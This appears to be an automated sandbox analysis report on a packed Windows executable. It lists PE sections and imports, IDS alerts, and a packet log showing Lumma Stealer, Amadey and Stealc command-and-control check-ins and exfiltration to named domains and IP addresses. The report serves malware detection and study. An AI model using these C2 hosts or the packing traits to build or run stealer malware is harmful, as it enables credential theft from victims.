add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ebx], cl
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ebx], cl
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], cl
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add eax, 0000000Ah
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5a054	0x68	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x59000	0x340	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x5a1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x58000	0x27e00	8a1cfdd6fe13b361147d9d8d34bba4d9	False	0.9980407523510971	data	7.981868254343975	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x59000	0x340	0x400	914cd139a383496d0085d499d138ef92	False	0.390625	data	4.997389973748798	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x5a000	0x1000	0x200	555a11fa24a077379003c187d9c9d020	False	0.14453125	data	0.9996515881509258	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
krmeesmj	0x5b000	0x2bb000	0x2ba600	1c87f8c1e198e6884f9bead5a862bfbe	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
ccqtiijz	0x316000	0x1000	0x600	964b8b53350b11e2a002ec83f869abd3	False	0.5859375	data	5.100777940174458	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x317000	0x3000	0x2200	10dbb2645bfc3df85423129c43c374c5	False	0.06640625	DOS executable (COM)	0.7625148761602776	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x59058	0x2e6	XML 1.0 document, ASCII text, with CRLF line terminators			0.45417789757412397

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-31T03:02:58.155457+0100	2057131	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)	1	192.168.2.4	61708	1.1.1.1	53	UDP
2024-10-31T03:02:58.189062+0100	2057129	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)	1	192.168.2.4	50721	1.1.1.1	53	UDP
2024-10-31T03:02:58.199140+0100	2057127	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)	1	192.168.2.4	56693	1.1.1.1	53	UDP
2024-10-31T03:02:58.208648+0100	2057125	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)	1	192.168.2.4	55266	1.1.1.1	53	UDP
2024-10-31T03:02:58.220063+0100	2057123	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store)	1	192.168.2.4	54054	1.1.1.1	53	UDP
2024-10-31T03:02:58.882979+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49730	188.114.97.3	443	TCP
2024-10-31T03:02:59.425541+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49730	188.114.97.3	443	TCP
2024-10-31T03:02:59.425541+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49730	188.114.97.3	443	TCP
2024-10-31T03:03:00.095437+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49731	188.114.97.3	443	TCP
2024-10-31T03:03:00.612977+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49731	188.114.97.3	443	TCP
2024-10-31T03:03:00.612977+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49731	188.114.97.3	443	TCP
2024-10-31T03:03:01.450399+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49732	188.114.97.3	443	TCP
2024-10-31T03:03:02.998622+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49733	188.114.97.3	443	TCP
2024-10-31T03:03:04.352114+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49734	188.114.97.3	443	TCP
2024-10-31T03:03:06.006006+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49735	188.114.97.3	443	TCP
2024-10-31T03:03:06.449432+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49735	188.114.97.3	443	TCP
2024-10-31T03:03:07.490789+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49736	188.114.97.3	443	TCP
2024-10-31T03:03:25.751480+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49743	188.114.97.3	443	TCP
2024-10-31T03:03:26.079982+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49743	188.114.97.3	443	TCP
2024-10-31T03:03:26.999113+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.4	49744	185.215.113.16	80	TCP
2024-10-31T03:04:05.929635+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.4	63758	185.215.113.43	80	TCP
2024-10-31T03:04:09.275569+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	63780	41.216.183.61	80	TCP
2024-10-31T03:04:15.846167+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.4	63774	TCP
2024-10-31T03:04:16.758782+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	63821	185.215.113.43	80	TCP
2024-10-31T03:04:17.679514+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	63827	185.215.113.16	80	TCP
2024-10-31T03:04:26.724652+0100	2057131	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)	1	192.168.2.4	57960	1.1.1.1	53	UDP
2024-10-31T03:04:26.739416+0100	2057129	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)	1	192.168.2.4	51938	1.1.1.1	53	UDP
2024-10-31T03:04:26.752420+0100	2057127	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)	1	192.168.2.4	62171	1.1.1.1	53	UDP
2024-10-31T03:04:26.762096+0100	2057125	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)	1	192.168.2.4	50424	1.1.1.1	53	UDP
2024-10-31T03:04:26.771890+0100	2057123	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store)	1	192.168.2.4	51006	1.1.1.1	53	UDP
2024-10-31T03:04:27.111330+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	63879	185.215.113.43	80	TCP
2024-10-31T03:04:27.417236+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	63882	188.114.96.3	443	TCP
2024-10-31T03:04:27.904550+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	63882	188.114.96.3	443	TCP
2024-10-31T03:04:27.904550+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	63882	188.114.96.3	443	TCP
2024-10-31T03:04:28.042603+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	63886	185.215.113.16	80	TCP
2024-10-31T03:04:28.554945+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	63892	188.114.96.3	443	TCP
2024-10-31T03:04:29.015607+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	63892	188.114.96.3	443	TCP
2024-10-31T03:04:29.015607+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	63892	188.114.96.3	443	TCP
2024-10-31T03:04:29.955335+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	63900	188.114.96.3	443	TCP
2024-10-31T03:04:31.315259+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	63909	188.114.96.3	443	TCP
2024-10-31T03:04:33.273443+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	63922	188.114.96.3	443	TCP
2024-10-31T03:04:35.228757+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	63933	188.114.96.3	443	TCP
2024-10-31T03:04:35.652244+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	63933	188.114.96.3	443	TCP
2024-10-31T03:04:36.630414+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	63939	185.215.113.43	80	TCP
2024-10-31T03:04:36.767638+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	63943	188.114.96.3	443	TCP
2024-10-31T03:04:37.539849+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	63946	185.215.113.16	80	TCP
2024-10-31T03:04:37.858608+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	63947	185.215.113.206	80	TCP
2024-10-31T03:04:39.352958+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	63958	188.114.96.3	443	TCP
2024-10-31T03:04:40.060852+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	63958	188.114.96.3	443	TCP
2024-10-31T03:04:40.977843+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.4	63964	185.215.113.16	80	TCP
2024-10-31T03:04:44.188621+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	63980	185.215.113.43	80	TCP
2024-10-31T03:04:45.134498+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	63986	185.215.113.16	80	TCP
2024-10-31T03:04:45.134498+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.4	63986	185.215.113.16	80	TCP
2024-10-31T03:04:50.925354+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	63996	185.215.113.206	80	TCP
2024-10-31T03:04:52.228491+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	63998	185.215.113.43	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 31, 2024 03:02:58.241980076 CET	49730	443	192.168.2.4	188.114.97.3
Oct 31, 2024 03:02:58.242014885 CET	443	49730	188.114.97.3	192.168.2.4
Oct 31, 2024 03:02:58.242086887 CET	49730	443	192.168.2.4	188.114.97.3
Oct 31, 2024 03:02:58.245006084 CET	49730	443	192.168.2.4	188.114.97.3
Oct 31, 2024 03:02:58.245018959 CET	443	49730	188.114.97.3	192.168.2.4
Oct 31, 2024 03:02:58.882858992 CET	443	49730	188.114.97.3	192.168.2.4
Oct 31, 2024 03:02:58.882978916 CET	49730	443	192.168.2.4	188.114.97.3
Oct 31, 2024 03:02:58.887151957 CET	49730	443	192.168.2.4	188.114.97.3
Oct 31, 2024 03:02:58.887202024 CET	443	49730	188.114.97.3	192.168.2.4
Oct 31, 2024 03:02:58.887614965 CET	443	49730	188.114.97.3	192.168.2.4
Oct 31, 2024 03:02:58.932235003 CET	49730	443	192.168.2.4	188.114.97.3
Oct 31, 2024 03:02:58.932235003 CET	49730	443	192.168.2.4	188.114.97.3
Oct 31, 2024 03:02:58.932457924 CET	443	49730	188.114.97.3	192.168.2.4
Oct 31, 2024 03:02:59.425615072 CET	443	49730	188.114.97.3	192.168.2.4
Oct 31, 2024 03:02:59.425849915 CET	443	49730	188.114.97.3	192.168.2.4
Oct 31, 2024 03:02:59.426088095 CET	49730	443	192.168.2.4	188.114.97.3
Oct 31, 2024 03:02:59.427364111 CET	49730	443	192.168.2.4	188.114.97.3
Oct 31, 2024 03:02:59.427412033 CET	443	49730	188.114.97.3	192.168.2.4
Oct 31, 2024 03:02:59.427439928 CET	49730	443	192.168.2.4	188.114.97.3
Oct 31, 2024 03:02:59.427455902 CET	443	49730	188.114.97.3	192.168.2.4
Oct 31, 2024 03:02:59.475168943 CET	49731	443	192.168.2.4	188.114.97.3
Oct 31, 2024 03:02:59.475219965 CET	443	49731	188.114.97.3	192.168.2.4
Oct 31, 2024 03:02:59.475322962 CET	49731	443	192.168.2.4	188.114.97.3
Oct 31, 2024 03:02:59.475558043 CET	49731	443	192.168.2.4	188.114.97.3
Oct 31, 2024 03:02:59.475574970 CET	443	49731	188.114.97.3	192.168.2.4
Oct 31, 2024 03:03:00.095237017 CET	443	49731	188.114.97.3	192.168.2.4
Oct 31, 2024 03:03:00.095437050 CET	49731	443	192.168.2.4	188.114.97.3
Oct 31, 2024 03:03:00.134728909 CET	49731	443	192.168.2.4	188.114.97.3
Oct 31, 2024 03:03:00.134793997 CET	443	49731	188.114.97.3	192.168.2.4
Oct 31, 2024 03:03:00.135193110 CET	443	49731	188.114.97.3	192.168.2.4
Oct 31, 2024 03:03:00.136372089 CET	49731	443	192.168.2.4	188.114.97.3
Oct 31, 2024 03:03:00.136372089 CET	49731	443	192.168.2.4	188.114.97.3
Oct 31, 2024 03:03:00.136491060 CET	443	49731	188.114.97.3	192.168.2.4
Oct 31, 2024 03:03:00.613001108 CET	443	49731	188.114.97.3	192.168.2.4
Oct 31, 2024 03:03:00.613101959 CET	443	49731	188.114.97.3	192.168.2.4
Oct 31, 2024 03:03:00.613145113 CET	443	49731	188.114.97.3	192.168.2.4
Oct 31, 2024 03:03:00.613188982 CET	443	49731	188.114.97.3	192.168.2.4
Oct 31, 2024 03:03:00.613235950 CET	443	49731	188.114.97.3	192.168.2.4
Oct 31, 2024 03:03:00.613279104 CET	443	49731	188.114.97.3	192.168.2.4
Oct 31, 2024 03:03:00.613285065 CET	49731	443	192.168.2.4	188.114.97.3
Oct 31, 2024 03:03:00.613285065 CET	49731	443	192.168.2.4	188.114.97.3
Oct 31, 2024 03:03:00.613362074 CET	443	49731	188.114.97.3	192.168.2.4
Oct 31, 2024 03:03:00.613405943 CET	49731	443	192.168.2.4	188.114.97.3
Oct 31, 2024 03:03:00.613434076 CET	443	49731	188.114.97.3	192.168.2.4
Oct 31, 2024 03:03:00.613478899 CET	49731	443	192.168.2.4	188.114.97.3
Oct 31, 2024 03:03:00.613495111 CET	443	49731	188.114.97.3	192.168.2.4
Oct 31, 2024 03:03:00.666824102 CET	49731	443	192.168.2.4	188.114.97.3
Oct 31, 2024 03:03:00.666837931 CET	443	49731	188.114.97.3	192.168.2.4
Oct 31, 2024 03:03:00.713835955 CET	49731	443	192.168.2.4	188.114.97.3
Oct 31, 2024 03:03:00.731076002 CET	443	49731	188.114.97.3	192.168.2.4
Oct 31, 2024 03:03:00.731197119 CET	443	49731	188.114.97.3	192.168.2.4
Oct 31, 2024 03:03:00.731240988 CET	443	49731	188.114.97.3	192.168.2.4
Oct 31, 2024 03:03:00.731255054 CET	49731	443	192.168.2.4	188.114.97.3
Oct 31, 2024 03:03:00.731276035 CET	443	49731	188.114.97.3	192.168.2.4
Oct 31, 2024 03:03:00.731375933 CET	443	49731	188.114.97.3	192.168.2.4
Oct 31, 2024 03:03:00.731383085 CET	49731	443	192.168.2.4	188.114.97.3
Oct 31, 2024 03:03:00.731446028 CET	49731	443	192.168.2.4	188.114.97.3
Oct 31, 2024 03:03:00.731610060 CET	49731	443	192.168.2.4	188.114.97.3
Oct 31, 2024 03:03:00.731647015 CET	443	49731	188.114.97.3	192.168.2.4
Oct 31, 2024 03:03:00.731673002 CET	49731	443	192.168.2.4	188.114.97.3
Oct 31, 2024 03:03:00.731686115 CET	443	49731	188.114.97.3	192.168.2.4
Oct 31, 2024 03:03:00.833194017 CET	49732	443	192.168.2.4	188.114.97.3
Oct 31, 2024 03:03:00.833233118 CET	443	49732	188.114.97.3	192.168.2.4
Oct 31, 2024 03:03:00.833333969 CET	49732	443	192.168.2.4	188.114.97.3
Oct 31, 2024 03:03:00.833776951 CET	49732	443	192.168.2.4	188.114.97.3
Oct 31, 2024 03:03:00.833790064 CET	443	49732	188.114.97.3	192.168.2.4
Oct 31, 2024 03:03:01.450306892 CET	443	49732	188.114.97.3	192.168.2.4
Oct 31, 2024 03:03:01.450398922 CET	49732	443	192.168.2.4	188.114.97.3
Oct 31, 2024 03:03:01.452178001 CET	49732	443	192.168.2.4	188.114.97.3
Oct 31, 2024 03:03:01.452187061 CET	443	49732	188.114.97.3	192.168.2.4
Oct 31, 2024 03:03:01.452562094 CET	443	49732	188.114.97.3	192.168.2.4
Oct 31, 2024 03:03:01.453957081 CET	49732	443	192.168.2.4	188.114.97.3
Oct 31, 2024 03:03:01.454133034 CET	49732	443	192.168.2.4	188.114.97.3
Oct 31, 2024 03:03:01.454158068 CET	443	49732	188.114.97.3	192.168.2.4
Oct 31, 2024 03:03:01.454229116 CET	49732	443	192.168.2.4	188.114.97.3
Oct 31, 2024 03:03:01.454236031 CET	443	49732	188.114.97.3	192.168.2.4
Oct 31, 2024 03:03:02.328813076 CET	443	49732	188.114.97.3	192.168.2.4
Oct 31, 2024 03:03:02.328943014 CET	443	49732	188.114.97.3	192.168.2.4
Oct 31, 2024 03:03:02.329004049 CET	49732	443	192.168.2.4	188.114.97.3
Oct 31, 2024 03:03:02.329082012 CET	49732	443	192.168.2.4	188.114.97.3
Oct 31, 2024 03:03:02.329097033 CET	443	49732	188.114.97.3	192.168.2.4
Oct 31, 2024 03:03:02.390182018 CET	49733	443	192.168.2.4	188.114.97.3
Oct 31, 2024 03:03:02.390229940 CET	443	49733	188.114.97.3	192.168.2.4
Oct 31, 2024 03:03:02.390331030 CET	49733	443	192.168.2.4	188.114.97.3
Oct 31, 2024 03:03:02.390594959 CET	49733	443	192.168.2.4	188.114.97.3
Oct 31, 2024 03:03:02.390609026 CET	443	49733	188.114.97.3	192.168.2.4
Oct 31, 2024 03:03:02.998548031 CET	443	49733	188.114.97.3	192.168.2.4
Oct 31, 2024 03:03:02.998621941 CET	49733	443	192.168.2.4	188.114.97.3
Oct 31, 2024 03:03:03.000538111 CET	49733	443	192.168.2.4	188.114.97.3
Oct 31, 2024 03:03:03.000550032 CET	443	49733	188.114.97.3	192.168.2.4
Oct 31, 2024 03:03:03.000917912 CET	443	49733	188.114.97.3	192.168.2.4
Oct 31, 2024 03:03:03.002974987 CET	49733	443	192.168.2.4	188.114.97.3
Oct 31, 2024 03:03:03.003102064 CET	49733	443	192.168.2.4	188.114.97.3
Oct 31, 2024 03:03:03.003134966 CET	443	49733	188.114.97.3	192.168.2.4
Oct 31, 2024 03:03:03.541771889 CET	443	49733	188.114.97.3	192.168.2.4
Oct 31, 2024 03:03:03.541889906 CET	443	49733	188.114.97.3	192.168.2.4
Oct 31, 2024 03:03:03.541949987 CET	49733	443	192.168.2.4	188.114.97.3
Oct 31, 2024 03:03:03.542124033 CET	49733	443	192.168.2.4	188.114.97.3
Oct 31, 2024 03:03:03.542146921 CET	443	49733	188.114.97.3	192.168.2.4
Oct 31, 2024 03:03:03.735476017 CET	49734	443	192.168.2.4	188.114.97.3
Oct 31, 2024 03:03:03.735510111 CET	443	49734	188.114.97.3	192.168.2.4
Oct 31, 2024 03:03:03.735609055 CET	49734	443	192.168.2.4	188.114.97.3
Oct 31, 2024 03:03:03.735938072 CET	49734	443	192.168.2.4	188.114.97.3
Oct 31, 2024 03:03:03.735950947 CET	443	49734	188.114.97.3	192.168.2.4
Oct 31, 2024 03:03:04.351888895 CET	443	49734	188.114.97.3	192.168.2.4
Oct 31, 2024 03:03:04.352113962 CET	49734	443	192.168.2.4	188.114.97.3
Oct 31, 2024 03:03:04.353604078 CET	49734	443	192.168.2.4	188.114.97.3
Oct 31, 2024 03:03:04.353614092 CET	443	49734	188.114.97.3	192.168.2.4
Oct 31, 2024 03:03:04.354643106 CET	443	49734	188.114.97.3	192.168.2.4
Oct 31, 2024 03:03:04.356050014 CET	49734	443	192.168.2.4	188.114.97.3
Oct 31, 2024 03:03:04.356228113 CET	49734	443	192.168.2.4	188.114.97.3
Oct 31, 2024 03:03:04.356261969 CET	443	49734	188.114.97.3	192.168.2.4
Oct 31, 2024 03:03:04.356323957 CET	49734	443	192.168.2.4	188.114.97.3
Oct 31, 2024 03:03:04.356333017 CET	443	49734	188.114.97.3	192.168.2.4
Oct 31, 2024 03:03:05.003180981 CET	443	49734	188.114.97.3	192.168.2.4
Oct 31, 2024 03:03:05.003468990 CET	49734	443	192.168.2.4	188.114.97.3
Oct 31, 2024 03:03:05.003505945 CET	443	49734	188.114.97.3	192.168.2.4
Oct 31, 2024 03:03:05.003561974 CET	49734	443	192.168.2.4	188.114.97.3
Oct 31, 2024 03:03:05.387490988 CET	49735	443	192.168.2.4	188.114.97.3
Oct 31, 2024 03:03:05.387525082 CET	443	49735	188.114.97.3	192.168.2.4
Oct 31, 2024 03:03:05.387600899 CET	49735	443	192.168.2.4	188.114.97.3
Oct 31, 2024 03:03:05.387928963 CET	49735	443	192.168.2.4	188.114.97.3
Oct 31, 2024 03:03:05.387940884 CET	443	49735	188.114.97.3	192.168.2.4
Oct 31, 2024 03:03:06.005897999 CET	443	49735	188.114.97.3	192.168.2.4
Oct 31, 2024 03:03:06.006006002 CET	49735	443	192.168.2.4	188.114.97.3
Oct 31, 2024 03:03:06.007455111 CET	49735	443	192.168.2.4	188.114.97.3
Oct 31, 2024 03:03:06.007462978 CET	443	49735	188.114.97.3	192.168.2.4
Oct 31, 2024 03:03:06.007858992 CET	443	49735	188.114.97.3	192.168.2.4
Oct 31, 2024 03:03:06.009213924 CET	49735	443	192.168.2.4	188.114.97.3
Oct 31, 2024 03:03:06.009363890 CET	49735	443	192.168.2.4	188.114.97.3
Oct 31, 2024 03:03:06.009370089 CET	443	49735	188.114.97.3	192.168.2.4
Oct 31, 2024 03:03:06.449526072 CET	443	49735	188.114.97.3	192.168.2.4
Oct 31, 2024 03:03:06.449810982 CET	443	49735	188.114.97.3	192.168.2.4
Oct 31, 2024 03:03:06.449835062 CET	49735	443	192.168.2.4	188.114.97.3
Oct 31, 2024 03:03:06.449877977 CET	49735	443	192.168.2.4	188.114.97.3
Oct 31, 2024 03:03:06.860424042 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 03:03:06.860461950 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 03:03:06.860544920 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 03:03:06.860882998 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 03:03:06.860896111 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 03:03:07.490669966 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 03:03:07.490788937 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 03:03:07.500664949 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 03:03:07.500684977 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 03:03:07.501458883 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 03:03:07.526757956 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 03:03:07.533386946 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 03:03:07.533468962 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 03:03:07.533613920 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 03:03:07.533684969 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 03:03:07.533828974 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 03:03:07.534034014 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 03:03:07.534188032 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 03:03:07.534215927 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 03:03:07.534388065 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 03:03:07.534430981 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 03:03:07.534619093 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 03:03:07.534647942 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 03:03:07.534656048 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 03:03:07.534698963 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 03:03:07.534813881 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 03:03:07.534853935 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 03:03:07.534857035 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 03:03:07.535053968 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 03:03:07.535087109 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 03:03:07.544807911 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 03:03:07.545008898 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 03:03:07.545051098 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 03:03:07.545062065 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 03:03:07.545093060 CET	49736	443	192.168.2.4	188.114.97.3
